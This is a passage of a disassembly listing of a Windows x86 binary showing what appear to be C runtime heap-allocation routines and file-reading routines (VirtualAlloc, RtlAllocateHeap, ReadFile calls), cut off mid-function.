sub_418641	proc near		; CODE XREF: sub_418ADD+150p
		mov	eax, dword_47C964
		mov	ecx, dword_47C974
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_418687
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_47C968
		push	edi
		push	dword_47C97C
		call	ds:dword_420158	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_418676
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418676:				; CODE XREF: sub_418641+2Fj
		add	dword_47C974, 10h
		mov	dword_47C968, eax
		mov	eax, dword_47C964


loc_418687:				; CODE XREF: sub_418641+10j
		mov	ecx, dword_47C968
		push	esi
		push	41C4h
		push	8
		push	dword_47C97C
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_42005C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_4186B2


loc_4186AE:				; CODE XREF: sub_418641+9Bj
		xor	eax, eax
		jmp	short loc_4186F5
; ---------------------------------------------------------------------------


loc_4186B2:				; CODE XREF: sub_418641+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_420190	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4186DE
		push	dword ptr [esi+10h]
		push	edi
		push	dword_47C97C
		call	ds:dword_420058	; RtlFreeHeap
		jmp	short loc_4186AE
; ---------------------------------------------------------------------------


loc_4186DE:				; CODE XREF: sub_418641+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_47C964
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4186F5:				; CODE XREF: sub_418641+6Fj
		pop	esi
		pop	edi
		retn
sub_418641	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186F8	proc near		; CODE XREF: sub_418ADD+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_418710
; ---------------------------------------------------------------------------


loc_41870D:				; CODE XREF: sub_4186F8+1Aj
		shl	eax, 1
		inc	ebx


loc_418710:				; CODE XREF: sub_4186F8+13j
		test	eax, eax
		jge	short loc_41870D
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_418729:				; CODE XREF: sub_4186F8+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_418729
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_420190	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41875C
		or	eax, 0FFFFFFFFh
		jmp	loc_4187F9
; ---------------------------------------------------------------------------


loc_41875C:				; CODE XREF: sub_4186F8+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_4187AC
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_418774:				; CODE XREF: sub_4186F8+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_418774
		mov	edx, [ebp+var_4]


loc_4187AC:				; CODE XREF: sub_4186F8+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4187E9
		or	[eax+4], edi


loc_4187E9:				; CODE XREF: sub_4186F8+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4187F9:				; CODE XREF: sub_4186F8+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4186F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187FE	proc near		; CODE XREF: sub_414BBA+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_4189A0
		test	bl, 1
		jnz	loc_418999
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_418999
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_418873
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_418873:				; CODE XREF: sub_4187FE+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4188BE
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41889F
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4188BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------


loc_41889F:				; CODE XREF: sub_4187FE+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4188BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4188BE:				; CODE XREF: sub_4187FE+7Bj
					; sub_4187FE+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_418987
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_4188F8
		push	3Fh
		pop	edi


loc_4188F8:				; CODE XREF: sub_4187FE+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_418975
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_41894C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_418944
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418944:				; CODE XREF: sub_4187FE+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_41896C
; ---------------------------------------------------------------------------


loc_41894C:				; CODE XREF: sub_4187FE+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_418962
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418962:				; CODE XREF: sub_4187FE+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_41896C:				; CODE XREF: sub_4187FE+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_418975:				; CODE XREF: sub_4187FE+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41898A
; ---------------------------------------------------------------------------


loc_418987:				; CODE XREF: sub_4187FE+DEj
		mov	edx, [ebp+arg_4]


loc_41898A:				; CODE XREF: sub_4187FE+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_418AD5
; ---------------------------------------------------------------------------


loc_418999:				; CODE XREF: sub_4187FE+50j
					; sub_4187FE+5Aj
		xor	eax, eax
		jmp	loc_418AD8
; ---------------------------------------------------------------------------


loc_4189A0:				; CODE XREF: sub_4187FE+47j
		jge	loc_418AD5
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_4189CB
		push	3Fh
		pop	esi


loc_4189CB:				; CODE XREF: sub_4187FE+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_418A55
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4189E4
		push	3Fh
		pop	esi


loc_4189E4:				; CODE XREF: sub_4187FE+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_418A2E
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_418A0F
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_418A2B
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418A2B
; ---------------------------------------------------------------------------


loc_418A0F:				; CODE XREF: sub_4187FE+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418A2B
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418A2B:				; CODE XREF: sub_4187FE+208j
					; sub_4187FE+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_418A2E:				; CODE XREF: sub_4187FE+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_418A55
		push	3Fh
		pop	esi


loc_418A55:				; CODE XREF: sub_4187FE+1D1j
					; sub_4187FE+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_418ACC
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_418AA3
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418A9B
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_418A9B:				; CODE XREF: sub_4187FE+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_418AC3
; ---------------------------------------------------------------------------


loc_418AA3:				; CODE XREF: sub_4187FE+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418AB9
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_418AB9:				; CODE XREF: sub_4187FE+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_418AC3:				; CODE XREF: sub_4187FE+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_418ACC:				; CODE XREF: sub_4187FE+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_418AD5:				; CODE XREF: sub_4187FE+196j
					; sub_4187FE:loc_4189A0j
		xor	eax, eax
		inc	eax


loc_418AD8:				; CODE XREF: sub_4187FE+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ADD	proc near		; CODE XREF: sub_414BBA+89p
					; sub_414DD6+2Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_47C964
		mov	edx, dword_47C968
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_418B1A
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418B27
; ---------------------------------------------------------------------------


loc_418B1A:				; CODE XREF: sub_418ADD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_418B27:				; CODE XREF: sub_418ADD+3Bj
		mov	eax, dword_47C970
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_418B49
; ---------------------------------------------------------------------------


loc_418B35:				; CODE XREF: sub_418ADD+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418B4E
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_418B49:				; CODE XREF: sub_418ADD+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_418B35


loc_418B4E:				; CODE XREF: sub_418ADD+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418B77
		mov	ebx, edx
		jmp	short loc_418B68
; ---------------------------------------------------------------------------


loc_418B57:				; CODE XREF: sub_418ADD+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418B6F
		add	ebx, 14h


loc_418B68:				; CODE XREF: sub_418ADD+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_418B57


loc_418B6F:				; CODE XREF: sub_418ADD+86j
		cmp	ebx, eax
		jz	loc_418C0B


loc_418B77:				; CODE XREF: sub_418ADD+74j
					; sub_418ADD+170j
		mov	dword_47C970, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418B9E
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418BD4


loc_418B9E:				; CODE XREF: sub_418ADD+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418BD1


loc_418BBA:				; CODE XREF: sub_418ADD+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_418BBA


loc_418BD1:				; CODE XREF: sub_418ADD+DBj
		mov	edx, [ebp+var_4]


loc_418BD4:				; CODE XREF: sub_418ADD+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_418C5D
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_418C5D
; ---------------------------------------------------------------------------


loc_418BFF:				; CODE XREF: sub_418ADD+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418C10
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_418C0B:				; CODE XREF: sub_418ADD+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_418BFF


loc_418C10:				; CODE XREF: sub_418ADD+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418C3B
		mov	ebx, edx
		jmp	short loc_418C22
; ---------------------------------------------------------------------------


loc_418C19:				; CODE XREF: sub_418ADD+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418C29
		add	ebx, 14h


loc_418C22:				; CODE XREF: sub_418ADD+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_418C19


loc_418C29:				; CODE XREF: sub_418ADD+140j
		cmp	ebx, eax
		jnz	short loc_418C3B
		call	sub_418641
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418C53


loc_418C3B:				; CODE XREF: sub_418ADD+136j
					; sub_418ADD+14Ej
		push	ebx
		call	sub_4186F8
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_418B77


loc_418C53:				; CODE XREF: sub_418ADD+15Cj
		xor	eax, eax
		jmp	loc_418DD4
; ---------------------------------------------------------------------------


loc_418C5A:				; CODE XREF: sub_418ADD+182j
		shl	ecx, 1
		inc	edi


loc_418C5D:				; CODE XREF: sub_418ADD+111j
					; sub_418ADD+120j
		test	ecx, ecx
		jge	short loc_418C5A
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_418C7E
		push	3Fh
		pop	esi


loc_418C7E:				; CODE XREF: sub_418ADD+19Cj
		cmp	esi, edi
		jz	loc_418D87
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418CEA
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_418CBE
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_418CE7
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_418CEA
; ---------------------------------------------------------------------------


loc_418CBE:				; CODE XREF: sub_418ADD+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_418CE7
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_418CEA
; ---------------------------------------------------------------------------


loc_418CE7:				; CODE XREF: sub_418ADD+1D5j
					; sub_418ADD+1FDj
		mov	ebx, [ebp+arg_0]


loc_418CEA:				; CODE XREF: sub_418ADD+1AFj
					; sub_418ADD+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_418D93
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D84
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_418D5B
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_418D49
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_418D49:				; CODE XREF: sub_418ADD+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_418D84
; ---------------------------------------------------------------------------


loc_418D5B:				; CODE XREF: sub_418ADD+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_418D6E
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_418D6E:				; CODE XREF: sub_418ADD+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_418D84:				; CODE XREF: sub_418ADD+247j
					; sub_418ADD+27Cj
		mov	ecx, [ebp+var_8]


loc_418D87:				; CODE XREF: sub_418ADD+1A3j
		test	ecx, ecx
		jz	short loc_418D96
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_418D96
; ---------------------------------------------------------------------------


loc_418D93:				; CODE XREF: sub_418ADD+223j
		mov	ecx, [ebp+var_8]


loc_418D96:				; CODE XREF: sub_418ADD+2ACj
					; sub_418ADD+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_418DCC
		cmp	ebx, dword_47C960
		jnz	short loc_418DCC
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_47C978
		jnz	short loc_418DCC
		and	dword_47C960, 0


loc_418DCC:				; CODE XREF: sub_418ADD+2D3j
					; sub_418ADD+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_418DD4:				; CODE XREF: sub_418ADD+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418ADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DD9	proc near		; CODE XREF: sub_414A85+AAp
					; sub_415E55+44p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_418EB5
		test	al, 40h
		jnz	loc_418EB5
		test	al, 2
		jz	short loc_418E00
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_418EB5
; ---------------------------------------------------------------------------


loc_418E00:				; CODE XREF: sub_418DD9+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_418E15
		push	esi
		call	sub_41C18B
		pop	ecx
		jmp	short loc_418E1A
; ---------------------------------------------------------------------------


loc_418E15:				; CODE XREF: sub_418DD9+31j
		mov	eax, [esi+8]
		mov	[esi], eax


loc_418E1A:				; CODE XREF: sub_418DD9+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_419087
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_418EA4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418EA4
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_418E79
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_418E5F
		mov	edi, ecx
		sar	edi, 5
		mov	edi, dword_47C620[edi*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_418E64
; ---------------------------------------------------------------------------


loc_418E5F:				; CODE XREF: sub_418DD9+6Dj
		mov	edi, offset dword_42E0D0


loc_418E64:				; CODE XREF: sub_418DD9+84j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_418E79
		or	edx, 2000h
		mov	[esi+0Ch], edx


loc_418E79:				; CODE XREF: sub_418DD9+64j
					; sub_418DD9+95j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_418E96
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_418E96
		test	ch, 4
		jnz	short loc_418E96
		mov	dword ptr [esi+18h], 1000h


loc_418E96:				; CODE XREF: sub_418DD9+A7j
					; sub_418DD9+AFj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DD9+57j
					; sub_418DD9+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_418EB5:				; CODE XREF: sub_418DD9+Aj
					; sub_418DD9+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_418DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EBA	proc near		; CODE XREF: sub_419087+52p
					; sub_41D55D+2A7p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_419080
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		lea	edi, ds:47C620h[ecx*4]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_419080
		test	cl, 48h
		jz	short loc_418F20
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_418F20
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_418F20:				; CODE XREF: sub_418EBA+47j
					; sub_418EBA+4Ej
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	edx
		push	dword ptr [eax+esi]
		call	ds:dword_42008C	; ReadFile
		test	eax, eax
		jnz	short loc_418F72
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_418F5A
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		mov	[eax], esi
		jmp	short loc_418F6A
; ---------------------------------------------------------------------------


loc_418F5A:				; CODE XREF: sub_418EBA+8Aj
		cmp	eax, 6Dh
		jz	loc_419080
		push	eax
		call	sub_419612
		pop	ecx


loc_418F6A:				; CODE XREF: sub_418EBA+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_419082
; ---------------------------------------------------------------------------


loc_418F72:				; CODE XREF: sub_418EBA+7Dj
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
